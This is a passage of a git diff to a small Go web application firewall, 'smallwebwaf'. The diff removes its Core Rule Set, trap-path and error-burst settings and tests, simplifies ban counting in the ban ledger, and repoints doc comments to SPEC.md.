go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -77,21 +36,7 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=
internal/alerts/alerts.go
+7 -8
View File
@@ -1,8 +1,8 @@
// Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as the "Alert
// webhook schema" section of SPEC.md describes, to the Slack incoming
// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within
// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past
@@ -44,9 +44,7 @@ const (
// EventAnomaly is a count of requests or bytes over an anomaly
// threshold.
EventAnomaly = "anomaly"
// EventWAFBlock is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode.
// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
EventWAFBlock = "waf_block"
// EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
@@ -149,10 +147,11 @@ type Params struct {
}
// Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them.
// with the fields of the "Alert webhook schema" section of SPEC.md. ASN,
// ASName and Country are, for a ban, the client's as the ban's notes give
// them.
//
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
//nolint:tagliatelle // SPEC.md's alert webhook schema names its fields in snake_case
type Alert struct {
Instance string `json:"instance"`
Time time.Time `json:"time"`
internal/anomaly/anomaly.go
+2 -2
View File
@@ -1,8 +1,8 @@
// Package anomaly counts requests and bytes over a minute and an hour, per
// client, per surrounding netblock, per AS number, for the whole service
// and per named netblock, and raises an anomaly alert for a count over its
// threshold, as "Anomaly thresholds" under "Settings" in SPEC.md
// describes. It refuses and bans nothing. At most 20,000 counters
// threshold, as "Anomaly thresholds" under "Configuration surface" in
// SPEC.md describes. It refuses and bans nothing. At most 20,000 counters
// are kept, in memory, and written to alerts.json and read from it by the
// state package.
package anomaly
internal/bans/admin_test.go
-53
View File
@@ -61,59 +61,6 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
}
func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
t.Parallel()
rules := defaultRules()
rules.MaxBans = 2
ledger := bans.New(rules)
netblock := netip.MustParsePrefix("203.0.113.1/32")
other := netip.MustParsePrefix("203.0.113.2/32")
// An admin bans the netblock for a minute, and it then breaks a limit
// twice, each time after its last ban has ended.
ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
"probes for logins")
first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
// A ban on another netblock fills the ledger, and the netblock's first
// ban for a limit, its earliest that is not an admin's, goes.
ledger.BanForLimit(other, second.Start, bans.Notes{})
wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
// The netblock's next ban still counts it.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
t.Parallel()
ledger := bans.New(defaultRules())
netblock := netip.MustParsePrefix("203.0.113.1/32")
// The netblock breaks a limit twice, the second time after its first
// ban has ended, and the second ban's notes count the first. An admin
// then keeps the first ban.
first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
kept := first
kept.Cause = bans.CauseAdmin
ledger.LoadEdit([]bans.Ban{kept, second})
// The netblock's next ban counts the kept ban once, as an admin's.
third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
t.Errorf("the third ban for a limit has earlier bans %+v, "+
"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
}
}
func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
t.Parallel()
internal/bans/bans.go
+20 -54
View File
@@ -1,7 +1,6 @@
// Package bans is the ban ledger: the bans smallwebwaf makes on the
// netblocks of clients that break a rate limit, a byte limit or the error
// burst, show a clear sign of attack or are listed by the CrowdSec
// decision list, and
// netblocks of clients that break a rate limit or a byte limit, show a
// clear sign of attack or are listed by the CrowdSec decision list, and
// those an admin makes, with their notes, as the "Bans" section of SPEC.md
// describes. The bans are kept in memory, and written to bans.json and
// read from it by the state package.
@@ -104,11 +103,10 @@ type Notes struct {
ASName string `json:"as_name"`
Country string `json:"country"`
// Kind, Limit, Window and Count are, for a ban for a broken limit,
// what the limit was on, "requests" for a rate limit, "bytes" for a
// byte limit or "refusals" for the error burst, the limit that was
// broken, its window, "minute", "hour" or "day", and the count reached:
// the client's requests, bytes or refusals in the window, those of the
// request that broke the limit included.
// what the limit was on, "requests" for a rate limit or "bytes" for a
// byte limit, the limit that was broken, its window, "minute", "hour"
// or "day", and the count reached: the client's requests, or bytes, in
// the window, those of the request that broke the limit included.
// These are what counted toward the ban, and the window is the time
// over which they came.
Kind string `json:"kind,omitempty"`
@@ -122,12 +120,9 @@ type Notes struct {
LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
// RuleID and Target are, for a ban for a clear sign of attack, the id
// of the rule file rule that matched, and its target; TrapPath is, for
// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
// client sent it.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
TrapPath string `json:"trap_path,omitempty"`
// of the rule file rule that matched, and its target.
RuleID string `json:"rule_id,omitempty"`
Target string `json:"target,omitempty"`
// Reputation is the reputation sources that listed the client when
// the request that caused the ban was made, in the order the request
// log's reputation names them. It is left out when none did.
@@ -316,7 +311,7 @@ func (l *Ledger) WouldBanForLimit(
// notes, and returns the ban, and whether it made it, as BanForLimit
// does. A first ban lasts AttackBanDuration; once the netblock has had
// one that was not lifted, the next is permanent. Its reason is "matched
// the rule <RuleID>", or "asked for the trap path <TrapPath>".
// the rule <RuleID>".
func (l *Ledger) BanForAttack(
netblock netip.Prefix, now time.Time, notes Notes,
) (Ban, bool) {
@@ -387,10 +382,6 @@ func limitReason(notes Notes) string {
// attackReason is the reason of a ban for a clear sign of attack, with
// notes.
func attackReason(notes Notes) string {
if notes.TrapPath != "" {
return "asked for the trap path " + notes.TrapPath
}
return "matched the rule " + notes.RuleID
}
@@ -687,51 +678,26 @@ func (l *Ledger) ban(
}
// earlierBans returns how many bans a netblock with the bans held, oldest
// first, has had, by cause. Each ban held gives a count: the bans its
// notes count before it, and one for it and each ban held after it. A
// ban's count misses a ban dropped after it to make room, and that of an
// admin's ban added to bans.json without notes misses the bans before it,
// so the count that names the most bans is taken, whole: a ban an admin
// keeps by giving it CauseAdmin is still counted under its old cause in
// later bans' notes, and taking each cause from another count would count
// it twice.
// first, has had, by cause: the first ban held counts the bans the
// netblock had before that one, since dropped to make room, and each ban
// held adds one.
func earlierBans(held []Ban) EarlierBans {
// fromHere counts ban and the bans held after it.
var most, fromHere EarlierBans
earlier := held[0].Notes.EarlierBans
for _, ban := range slices.Backward(held) {
for _, ban := range held {
switch ban.Cause {
case CauseLimit:
fromHere.Limit++
earlier.Limit++
case CauseAttack:
fromHere.Attack++
earlier.Attack++
case CauseAdmin:
fromHere.Admin++
earlier.Admin++
case CauseCrowdSec:
fromHere.CrowdSec++
}
notes := ban.Notes.EarlierBans
count := EarlierBans{
Limit: notes.Limit + fromHere.Limit,
Attack: notes.Attack + fromHere.Attack,
Admin: notes.Admin + fromHere.Admin,
CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
}
// Of counts that name as many bans, the earlier ban's is taken: it
// counts more of the bans held by the cause they have now.
if count.total() >= most.total() {
most = count
earlier.CrowdSec++
}
}
return most
}
// total returns how many bans e counts, of all causes.
func (e EarlierBans) total() int {
return e.Limit + e.Attack + e.Admin + e.CrowdSec
return earlier
}
// markChanged has Changed receive a value, unless one is waiting already.
internal/config/config.go
+8 -179
View File
@@ -42,8 +42,8 @@ type Config struct {
InstanceName string
// Observe is true in observe mode, when SWWAF_MODE is observe rather
// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
// lists, a rate limit, a rule or the Core Rule Set would refuse is
// passed to the app instead, and no ban is made.
// lists, a rate limit or a rule would refuse is passed to the app
// instead, and no ban is made.
Observe bool
// TrustedProxies are the netblocks whose X-Forwarded-For is
// believed (SWWAF_TRUSTED_PROXIES).
@@ -239,29 +239,6 @@ type Config struct {
// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
RulesDir string
RulesEnabled bool
// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
// WAFAnomalyThreshold the anomaly score at which a request is a match
// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
// WAFExemptPaths the path prefixes it does not inspect
// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
WAFMode string
WAFParanoiaLevel int
WAFAnomalyThreshold int
WAFDisabledRules []int
WAFExemptPaths []string
WAFBodyLimit int64
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
// ErrorBurstThreshold is the most requests of a client within a minute
// that smallwebwaf may refuse after a rule file or Core Rule Set match
// or for a missing or wrong token; one more breaks a limit
// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
ErrorBurstThreshold int64
// LogRemoteURL is where every line on stdout is also sent
// (SWWAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
@@ -325,16 +302,6 @@ type Config struct {
// off.
const off = "off"
// The values of SWWAF_WAF_MODE.
const (
// WAFModeOff runs no request through the Core Rule Set.
WAFModeOff = off
// WAFModeDetect logs and alerts a match, and refuses nothing.
WAFModeDetect = "detect"
// WAFModeBlock refuses a match with 403.
WAFModeBlock = "block"
)
// fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
// lookup database, the file SWWAF_LOOKUP_DB_PATH names.
const fileSource = "file"
@@ -352,14 +319,6 @@ const (
minIPv6GroupPrefix = 32
// minTokenLength is the fewest characters a token may have.
minTokenLength = 32
// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
maxParanoiaLevel = 4
// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
// keeps for the rules that set it up, which smallwebwaf's own rules
// have too (see internal/waf). Switching one off would undo a change
// that no setting undoes.
firstSetupRuleID = 900000
lastSetupRuleID = 900999
// masked is what the log shows for a token that is set, and in place of
// a secret in another setting.
masked = "********"
@@ -398,7 +357,6 @@ var (
errNeedsDBPath = errors.New("it names the file to look clients up in")
errDBPathUnused = errors.New("only file reads it")
errNotOver4K = errors.New("is not a size of more than 4K, such as 32K")
errOver1G = errors.New("is more than 1G, the most Coraza reads")
errNotDurationAboveZero = errors.New(
"is not a duration above zero, such as 1h or 7d")
errNotNumberAboveZero = errors.New(
@@ -420,15 +378,6 @@ var (
errNotBytesCount = errors.New("is not response, request or both")
errNotPathPrefix = errors.New(
"is not a path prefix starting with /, such as /assets/")
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
"is not the id of a Core Rule Set rule, a whole number such as 942100")
errSetupRuleID = errors.New(
"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
"up and of smallwebwaf's own, which cannot be switched off")
errNotBoolean = errors.New("is not true or false")
errNotLogRemoteURL = errors.New(
"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -550,21 +499,12 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
"accept,accept-language,accept-encoding,content-type,origin,range"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
WAFMode: env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
WAFParanoiaLevel: env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
"920340,920420,920440,920640,930130,930140"),
WAFExemptPaths: env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
WAFBodyLimit: env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
TrapPaths: env.trapPaths("SWWAF_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
LogLevel: env.logLevel("SWWAF_LOG_LEVEL", "info"),
AdminToken: env.token("SWWAF_ADMIN_TOKEN"),
MetricsToken: env.token("SWWAF_METRICS_TOKEN"),
MetricsTopN: env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
RulesDir: env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
RulesEnabled: env.boolean("SWWAF_RULES_ENABLED", "true"),
LogRemoteURL: env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
LogRemoteTLSCAs: env.certificates("SWWAF_LOG_REMOTE_TLS_CA_FILE"),
LogRemoteBuffer: env.numberNotOff("SWWAF_LOG_REMOTE_BUFFER", "10000"),
@@ -768,15 +708,6 @@ func (e *environment) size(name, defaultValue string) int64 {
return size
}
// wafBodyLimit reads the setting that is the most of a request body the
// Core Rule Set reads.
func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
e.check(name, err)
return limit
}
// headerSize reads the setting that is the largest request line and
// headers.
func (e *environment) headerSize(name, defaultValue string) int64 {
@@ -813,48 +744,6 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
paths, err := parseTrapPaths(e.value(name, ""))
e.check(name, err)
return paths
}
// wafMode reads the setting that is what the Core Rule Set does: off,
// detect or block.
func (e *environment) wafMode(name, defaultValue string) string {
mode := e.value(name, defaultValue)
if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
}
return mode
}
// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
// level, from 1 to 4.
func (e *environment) paranoiaLevel(name, defaultValue string) int {
value := e.value(name, defaultValue)
level, err := strconv.Atoi(value)
if err != nil || level < 1 || level > maxParanoiaLevel {
e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
}
return level
}
// ruleIDs reads the setting that is a list of the ids of Core Rule Set
// rules.
func (e *environment) ruleIDs(name, defaultValue string) []int {
ids, err := parseRuleIDs(e.value(name, defaultValue))
e.check(name, err)
return ids
}
// countries reads a setting that is a list of countries.
func (e *environment) countries(name, defaultValue string) []string {
countries, err := parseCountries(e.value(name, defaultValue))
@@ -1445,22 +1334,6 @@ func parseHeaderSize(value string) (int64, error) {
return size, nil
}
// parseWAFBodyLimit reads the most of a request body the Core Rule Set
// reads: a size as parseSize reads it, or off, but at most 1G, since
// Coraza, which runs the Core Rule Set, refuses to load with more.
func parseWAFBodyLimit(value string) (int64, error) {
limit, err := parseSize(value)
if err != nil {
return 0, err
}
if limit > gibibyte {
return 0, fmt.Errorf("%q %w", value, errOver1G)
}
return limit, nil
}
// splitUnit splits a size into its number and the bytes its suffix
// stands for.
func splitUnit(value string) (string, int64) {
@@ -1663,50 +1536,6 @@ func parsePathPrefixes(value string) ([]string, error) {
return prefixes, nil
}
// parseTrapPaths reads a comma-separated list of trap paths. Each is
// matched against a request's path as a path rule is, without the query,
// so a path that does not start with / would never match, and one that
// holds a ? is written with a query.
func parseTrapPaths(value string) ([]string, error) {
paths, err := parseList(value)
if err != nil {
return nil, err
}
for _, path := range paths {
if !strings.HasPrefix(path, "/") || strings.Contains(path, "?") {
return nil, fmt.Errorf("%q %w", path, errNotTrapPath)
}
}
return paths, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
func parseRuleIDs(value string) ([]int, error) {
items, err := parseList(value)
if err != nil {
return nil, err
}
ids := make([]int, len(items))
for i, item := range items {
ids[i], err = strconv.Atoi(item)
if err != nil || ids[i] <= 0 {
return nil, fmt.Errorf("%q %w", item, errNotRuleID)
}
if ids[i] >= firstSetupRuleID && ids[i] <= lastSetupRuleID {
return nil, fmt.Errorf("%q %w", item, errSetupRuleID)
}
}
return ids, nil
}
// countryCodes are the two-letter codes ISO 3166-1 assigns today, and XK,
// the code in common use for Kosovo. golang.org/x/text/language cannot
// check them: it also takes withdrawn codes such as su, and reserved ones
internal/config/config_test.go
-201
View File
@@ -91,14 +91,6 @@ const (
logLevel = "SWWAF_LOG_LEVEL"
rulesDir = "SWWAF_RULES_DIR"
rulesEnabled = "SWWAF_RULES_ENABLED"
wafMode = "SWWAF_WAF_MODE"
wafParanoiaLevel = "SWWAF_WAF_PARANOIA_LEVEL"
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
trapPaths = "SWWAF_TRAP_PATHS"
errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWWAF_LOG_REMOTE_URL"
logRemoteTLSCAFile = "SWWAF_LOG_REMOTE_TLS_CA_FILE"
logRemoteBuffer = "SWWAF_LOG_REMOTE_BUFFER"
@@ -176,9 +168,6 @@ const (
// defaultReputationCacheTTL is the default of SWWAF_REPUTATION_CACHE_TTL.
const defaultReputationCacheTTL = "24h"
// defaultWAFDisabledRules is the default of SWWAF_WAF_DISABLED_RULES.
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
// defaultLogRequestHeaders is the default of SWWAF_LOG_REQUEST_HEADERS.
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
"content-type,origin,range"
@@ -506,188 +495,6 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
}
}
func TestTrapPathsAndErrorBurstThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
paths []string
threshold int64
}{
{environment{}, []string{}, 30},
{
environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"},
[]string{"/wp-login.php", "/xmlrpc.php"}, 5,
},
{environment{errorBurstThreshold: off}, []string{}, 0},
} {
cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.ErrorBurstThreshold != tc.threshold {
t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths,
cfg.ErrorBurstThreshold, tc.paths, tc.threshold)
}
}
}
func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
t.Parallel()
const notTrapPath = " is not a path starting with / and without a ?, " +
"such as /wp-login.php"
for _, tc := range []struct{ name, value, want string }{
{trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath},
{trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath},
{
trapPaths, "/wp-login.php,,/xmlrpc.php",
`"/wp-login.php,,/xmlrpc.php" has an empty item in its list`,
},
{errorBurstThreshold, "0", `"0" must be more than zero, or off`},
{
errorBurstThreshold, "30/min",
`"30/min" is not a whole number of requests such as 1000, or off`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestCoreRuleSetSettings(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want config.Config
}{
{
environment{},
config.Config{
WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
WAFExemptPaths: []string{},
},
},
{
environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "128K",
},
config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 128 << 10,
},
},
{
environment{
wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
wafBodyLimit: off,
},
config.Config{
WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
},
},
} {
cfg := fromEnvironment(t, tc.env)
got := config.Config{
WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
WAFBodyLimit: cfg.WAFBodyLimit,
}
if !reflect.DeepEqual(got, tc.want) {
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
}
}
}
func TestWAFBodyLimitOf1G(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
if cfg.WAFBodyLimit != 1<<30 {
t.Errorf("1G read as %d", cfg.WAFBodyLimit)
}
}
func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
t.Parallel()
const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
)
for _, tc := range []struct{ name, value, want string }{
{wafMode, "enforce", `"enforce" is not off, detect or block`},
{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
{
wafAnomalyThreshold, "0",
`"0" is not a whole number above zero, such as 60, or off`,
},
{
wafDisabledRules, "920340,REQUEST-920",
`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
{
wafDisabledRules, "-942100",
`"-942100" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
// The paranoia level, the allowed methods, the headers refused, a
// request with more query parameters than Coraza keeps, and a body
// Coraza cannot parse or that fails its strict checks.
{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
{
wafExemptPaths, "api/",
`"api/" is not a path prefix starting with /, such as /assets/`,
},
{
wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
},
{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
{
wafBodyLimit, "1073741825",
`"1073741825" is more than 1G, the most Coraza reads`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel()
@@ -2426,14 +2233,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
logLevel: "info",
rulesDir: "/etc/smallwebwaf/rules.d",
rulesEnabled: "true",
wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1",
wafAnomalyThreshold: "5",
wafDisabledRules: defaultWAFDisabledRules,
wafExemptPaths: "",
wafBodyLimit: off,
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
logRemoteTLSCAFile: "",
logRemoteBuffer: "10000",
internal/metrics/metrics.go
+23 -43
View File
@@ -1,12 +1,12 @@
// Package metrics keeps smallwebwaf's Prometheus metrics, as
// docs/metrics.md lists them, and serves them in the Prometheus text
// format, as the "Metrics endpoint" section of SPEC.md requires. No
// metric carries a client's address.
// Package metrics keeps smallwebwaf's Prometheus metrics, as the "Metrics
// endpoint" section of SPEC.md lists them, and serves them in the
// Prometheus text format. No metric carries a client's address.
package metrics
import (
"net/http"
"strconv"
"strings"
"time"
"github.com/prometheus/client_golang/prometheus"
@@ -37,7 +37,6 @@ type Metrics struct {
rateLimitHits *prometheus.CounterVec
sizeAndTimeLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by
// AddReputation.
ruleMatches *prometheus.CounterVec
@@ -65,8 +64,6 @@ type Metrics struct {
// topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance.
//
